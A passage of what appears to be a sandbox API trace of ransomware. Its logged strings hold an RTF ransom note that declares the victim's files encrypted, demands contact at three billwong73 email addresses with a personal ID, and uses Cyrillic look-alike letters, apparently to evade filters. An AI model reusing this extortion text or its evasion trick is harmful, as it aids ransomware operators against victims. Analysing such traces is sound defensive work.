t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c4dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 